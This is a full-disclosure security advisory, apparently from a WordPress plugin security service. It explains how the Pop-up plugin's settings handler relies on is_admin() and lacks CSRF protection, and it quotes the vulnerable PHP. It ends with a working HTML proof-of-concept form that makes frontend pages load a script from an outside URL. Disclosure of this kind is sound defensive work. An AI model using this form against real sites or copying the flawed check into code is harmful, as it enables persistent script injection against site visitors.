3 Aug 2022

is_admin() Again Leads to WordPress Plugin Containing Vulnerability That Hackers Would Exploit

A recent review of the WordPress plugin Pop-up suggested the plugin is insecure:

I tested this plugin, its says its free, i tried to inject code to my site… then i understood if they want they can inject any malicious code to your website by using this plugin… you are clicking launch code on external website, and this plugin will upload a a code to your website based on email address registered on both site. so if you are using sensitive website dont even try this plugin

Part of the response from the developer claims they take “security very seriously”:

We take privacy & security very seriously and would like to ensure that everybody can use our plugins with a peace of mind

We went to take a look at the plugin and found that not only is plugin lacking basic security, but that it contains a type of vulnerability that hackers have been known to exploit.

The insecurity and vulnerability once again involve the poorly named WordPress function is_admin(), which hasn’t been addressed despite it continuing to play a role in serious vulnerabilities for years. The problem with that was warned about before it even made in to a production release of WordPress, back in 2011.

The vulnerability has existed since the first version of the plugin, so the security review that is supposed to happen before a plugin is allowed in WordPress’ plugin directory failed here as well.

Authenticated Settings Change to Persistent Cross-Site Scripting (XSS)

The plugin handles changing the plugin’s setting through the following code in the file /pop-up-pop-up.php:

136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
// Save data from ajax query from plugin settings page
add_action('wp_ajax_wp_mypopups', function () {
 
  if (!is_admin()) {
    die();
  }
  if (!empty($_POST) && isset($_POST['user_id'])) {
    $message = wp_mypopups_add_user_id_to_file_code(sanitize_text_field($_POST['user_id']));
    header('Content-Type: application/json');
    $response = $message ? $message : __('saved', 'pop-up-pop-up');
 
    echo json_encode(['message' => sanitize_text_field($response)]);
 
    die();
  }
 
  if (!empty($_POST) && !empty($_POST['list'])) {
    $options = [ 'list' => [] ];
 
    foreach ($_POST['list'] as $key => $popup) {
      $slug = preg_replace("/[^a-z0-9]/", '', $key);
      $popup['slug'] = $slug;
      $options['list'][$slug] = $popup;
    }
 
    update_option('wp_mypopups', $options);
    header('Content-Type: application/json');
    $options['status'] = __('options saved', 'pop-up-pop-up');
    echo json_encode($options);
    die();
  }
 
  if (!empty($_POST) && !empty($_POST['agreed'])) {
    if (sanitize_text_field($_POST['agreed']) === 'true') {
      update_option('wp_mypopups_connect', true);
      wp_mypopups_file_code();
    }
  }
});

The first line of code in causes the rest of the code to be accessible to anyone logged in to WordPress through its AJAX functionality.

The next lines of code presumably are meant to restrict who can change the settings, as the code stops running if the response from the function is_admin() is false:

136
137
138
  if (!is_admin()) {
    die();
  }

Presumably the developer thought that it would tell if an Administrator is making the request, which the function doesn’t do. Instead, the function tells if an admin page is being accessed. That would always be true in this situation, since that will return true when making an AJAX request, so it makes no sense the developer would have been trying to use the function as intended. If the function was better named this doesn’t seem like it would keep happening.

As the proof of concept below confirms, you can use the change of settings to cause a JavaScript file from arbitrary web addresses to be loaded on frontend pages of the website.

Despite the developer’s claim to take security very seriously, the code not only lacks a proper check to limit what users have access to changing the settings, but it is also missing protection against cross-site request forgery (CSRF).

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause a script tag to be added to frontend pages of the website, which would load a file located at http://www.example.com/script.js, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wp_mypopups" method="POST">
<input type="hidden" name="list[1][status]" value="Enabled" />
<input type="hidden" name="list[1][embed_url]" value="https://www.example.com/script.js" />
<input type="submit" name="img" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.